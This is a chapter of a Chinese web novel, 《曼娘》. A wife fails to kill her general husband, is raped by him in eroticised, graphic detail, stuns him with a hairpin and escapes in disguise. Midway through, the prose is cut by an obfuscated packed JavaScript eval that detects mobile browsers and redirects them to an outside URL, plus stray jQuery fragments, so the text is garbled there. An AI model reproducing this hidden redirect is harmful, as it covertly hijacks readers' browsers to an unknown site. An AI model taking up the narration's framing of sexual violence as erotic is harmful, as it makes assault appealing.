23. 第 23 章
作品:《曼娘》 “不是,夫君,你听我解释。”手上拿着花瓶的宋令仪看着他冒出涔涔鲜血的额头,呼吸一顿,随后是铺天盖地的绝望席卷全身。
她本来是要砸向他后脑勺的,没有想到他会突然转过身,让她失了准度。
骇然得白着脸,脚步踉跄着往后退的宋令仪没有给他机会,咬紧牙关,握紧手上的花瓶再次砸下。
心里有道声音一直在告诫着她,她绝对不能失手。
她要活,她要锦衣玉食,金尊玉贵的活着!
可是这一次却不在同前面那样好运,手腕被扼住往下一折,握在手上的花瓶哐当一声砸在脚边,碎了个四分五裂。
“曼娘,你想杀我,你要杀你男人!”男人压低的声线里充斥着冷,怒,怨,配合着那张逐渐被殷红鲜血染红的脸,如同地狱里爬出来的恶鬼。
“你才刚从我身上下来,你居然就想要杀我,你宋曼娘此人究竟有没有心!”
手腕被折断,无力得往下垂的宋令仪落着泪,一个劲的摇头否认,“夫君,你听妾身解释好不好。”
“解释,听你解释你宋曼娘根本就没有失忆过,还是解释你想杀了你男人。”喉间挤出自嘲的秦殊任由温热的血从额间滴落,滑落眉眼,粗粝的掌心抚摸上她冰冷苍白的脸,试图想要从中看出一丝真情。
可是没有,里面有的只是虚情假意,更衬得愿意相信她的自己是个彻头彻尾的蠢货。
或许真如师兄所言,对她不能太好,毕竟像她这样的女人根本就没有心。
“没有,我从来没有骗过你。”此时的宋令仪根本不敢和他对视,强忍着腕间剧痛,颤着手要去触碰他狰狞的伤口。
“夫君,你受伤了,让妾身为你包扎下伤口,可好?”她问得小心翼翼又全是担忧,仿佛她真就只是一个担心丈夫受伤的妻子。
瞳孔缠上蛛网血丝的秦殊没有推开她的手,只是用那双冷漠,阴戾,嘲讽的目光盯着她,像头豺狼思考着要如何撕碎眼前的猎物。
在她的手快要碰上额间的伤口时,粗粝的掌心猛地擎住她手腕,低下头,强势地逼近她那双仓惶躲避的眼睛。
男人高大的体型如同巍峨的高山压下,连带着她周围的空气都稀薄得难以呼吸。
“夫,夫君………”手腕被抓住的宋令仪仓惶中抬起头,映入眼帘的是一张染了血色后更显妖异疯狂的脸。
仅是一眼,一股灭顶寒气就从宋令仪脚底升起,随后游走于四肢百骸,五脏六腑。
任由猩红鲜血从额间滑落,蜿蜒至眉角的秦殊将人抵在桌边,指腹摩挲着她殷红饱满的朱唇,低低地溢出戾气,“想来我是错了,从头到尾就错得离谱,我就不应该给你作为人的资格。”
“你就应该待在笼子里当供人取乐的乐妓,当好本将军泄欲的杏/奴/,心情好的时候施舍你一两件衣服,赏你一两顿饭吃。养条狗久了,狗都知道朝人摇尾巴,而不是想着噬主。”
“都说妓子无情,依本将军看,你堂堂宋家大小姐竟比不上所谓妓子有情有义。最起码别人不会想着当了婊子还立贞节牌坊。”
双手被抓住高擎过头顶的宋令仪被禁锢在男人怀里,惊慌失措中,泪珠从莹白小脸上滚落,无助又惹人怜爱的摇头否认,“夫君,我真的没有想过要害你,夫君你先让曼娘为你包扎伤口好不好………”
话还没说完的宋令仪下巴突然捏住,瞳孔放大中是陡然逼近的一张脸。
紧接着唇瓣传来尖锐的刺疼,她甚至闻到了淡淡的血腥味。
说是吻,更像是野兽在凶狠的进食。
即使舌尖被牙齿咬到,攻略者非但没有吃痛松开,反倒是趁机攻城略地,加重了这个充满强横血腥的吻。
刚开了荤的男人又怎会止步于亲吻,一只手桎梏住她的手高举过头顶,另一只手粗暴的扯开她不久前刚穿好的对襟珍珠扣。
本就是为装饰美观的珍珠扣承受不住那么大的力气,当即迸裂撕开,露出内里的春牙色肚兜,和他留下的斑驳吻痕。
晨曦柔光从十字海棠窗牖折射/入内,将她白瓷如玉的肌肤镀上一层盈盈金光,美如白玉,不可亵渎。
宋令仪虽不是那种失了清白就寻死觅活的女人,可在他欺身压下时仍不可生出悲愤,恶心,如坠冰窖的绝望。
牙齿发颤,手脚冰冷得要推开压在身上的男人,这一次的眼泪不在是前面的伪装,而是真的因害怕往下落,连声音都含着颤,“夫君,你…不能那么对我。”
“拂衣,你放开我好不好。刚才发生的事,我可以解释的,我真的没有想过要那么做。”
唇舌被咬出血的秦殊屈膝分开她的腿,手不在满足于隔着布料地往里探去,“叫什么夫君,凭你也配喊我夫君。”
“宋曼娘,你现在就只是本将军一个暖床的奴婢,本将军如何要得,你就如何受着。”秦殊不愿看她鳄鱼的眼泪,生怕他会再次心软后重蹈覆辙,随手扯过前面被他撕烂的外衫遮住她的脸,一只手扯过她的腿横抱在腰间。
“身为奴婢,你现在要做的就是取悦本将军。”
男人的动作称得上是粗暴,没有任何技巧可言,有的只是野蛮的横冲直撞。
原想着这个点夫人应该会醒来的丫鬟们正想送热水进来,远远地听见屋里头传来的女人哭泣求饶声,男人粗重的闷哼声,和那咯吱作响的桌椅板凳,有早通了事的丫鬟忙红着脸将其她傻愣愣的人拉走。
动静那么的大,估计她们要晚一会儿在过来。
腿被迫抬起,就连视野都被衣服遮住的宋令仪在他终于松开了对她手腕的桎梏后,抬手摸向发间簪的簪子。
确认此时的他对自己没有丝毫防备后,眼神发狠地朝他耳□□刺去。
刺中这个位置就能令人陷入短暂的昏迷,而这,将是她最后的一次机会。
脖间传来一阵刺疼的秦殊不可置信的抬起头,仿佛没有想到拔出利爪的兔子还能有伤人的力气。
甚至是选在他进食中,最没有防备的时候。
喉咙滚动正要发出声音,却是眼前一黑,身体一软地倒了下去。
满室的痛苦,绝望,无助也终止于这一刻。
终于得救后的宋令仪在他将全部的力气压在身上时,她的手不小心碰到了桌上的茶具,噼里啪啦碎了一地。
并没有婆子们询问的声音传来,想来是前面闹的动静太大,她们不敢贸然靠近。
脸色发白,惊恐尤盛的宋令仪迅速将压在身上的男人推开。
此刻两人原本的身份也颠覆了,她从粘板上待宰的鱼肉变成了手持板斧的刽子手。
而那高高在上的刽子手如今成了任她宰割的猪狗牛羊,他是生是死,完全在她的一念之间。
眼睛里全是恨意的宋令仪蹲下身,举着沾血长簪对准他脖子和心脏比划,试图寻找着最好下手的位置。
她绝不允许他将今天的事张扬出去,而她向来只信死人的嘴。
又在对方眉心皱起,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426874|182962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
隐约有要清醒过来的痕迹时,手中簪子落地如惊弓之鸟般心神绷紧。
生怕他会马上醒来,且害怕会有人闯进来的宋令仪迅速换掉被他扯烂的衣服,拿出早就准备好的路引就往外走。
她没有将人连拖带拽回床上休息的意思,而是取了床上的蚕丝被盖住他□□的身体。
她能离开的机会,唯有这一次。
届时等他醒来抓回自己,她倒不如一头撞死来得舒服些。
管事在宋令仪要外出时,急忙将人拦下,“夫人这是准备去哪里?”
将军可是特意交代过了,夫人出门必须得由将军陪同,或是得到将军允许后方可外出。
何况大清早的,街上一些茶肆衣铺都不见得开门迎客了。
脸色发白的宋令仪忍着腿间的不适,不动声色地露出脖间暧昧吻痕,眉眼间全是被疼爱后未散的春/情意色,“夫君昨夜说想吃城南的羊肉煎饼,这不,我打算去为他买来。”
只是一眼,管事不敢再看地低下头,“这些小事,夫人吩咐一声就好,何必还要麻烦夫人亲自去跑一趟。”
管事又对着身后的丫鬟说道:“夫人要外出一事,还不快点去请示将军。”
指甲掐进掌心的宋令仪深吸一口气,皮笑肉不笑的婉言提醒,“夫君昨夜累坏了,现在估计还没醒,你们确定真的要过去打扰他吗?”
“何况我想去给他买煎饼也是想给他个惊喜,你们去问了,又哪儿再有惊喜可言。”宋令仪在管事面露纠结时,又善解人意道,“你们要是不放心,可以跟着一起。”
这话一出,管事还有什么不放心的,何况周围群山罩遍地匪,夫人一个弱质女流能跑去哪里。
宋令仪要的就是他们的轻视。
等上了马车后,宋令仪立马让马夫往最近的城南口走去,等到了坊市下了马车后,就说要到里面买些胭脂,让他们在门外等着。
轿夫不疑有她的在外面等,跟着进来的丫鬟在夫人捂着肚子喊疼说要去茅房时,也傻傻的真以为夫人是不舒服。
要知道夫人刚才下轿的脸色确实白得跟鬼一样,想来是真的不舒服。
捂着肚子说要去茅房的宋令仪甩开丫鬟,迅速从后门出去,来到卖衣服的铺子,买了套麻布做的粗布衣裳又到一间客栈换上,头发全裹在灰色头巾里就往外走。
在经过一个卖胭脂水粉的铺子前买了几盒眉粉,改头换面后迅速混在人群中往城门口走去。
因为排队的人太多了,她不敢赌,只能用金钱开路。
管事在夫人出去后,心中越想越不对劲,站在原地踌躇许久,终是决定去和将军说一声才行。
大不了被将军责骂一顿,也好过心中七上八下的不安。
来到一心堂后,只闻无论屋内还是院中都静悄悄得很。
管事心里顿时泛起了毛边,敲着门,朝里喊道:“将军,您醒了吗?”
“是这样的,夫人她今早上说要出门给将军您买早饭,属下斟酌许久,还是决定告诉将军一声。”
奇怪的是管事在外面叽里呱啦说了一大堆,屋内都不见半分声响,后背陡然惊出一身冷汗。
手脚哆嗦着,连滚带爬就撞门而入,只希望不是自己所想的那般出了事!
待见到凌乱的屋内,碎了一地的沾血瓷片,以及躺在地上昏迷不醒的将军,破锣嗓子哆嗦着都要破音了。
“不好了,将军出事了!”
“快叫罗大夫过来!”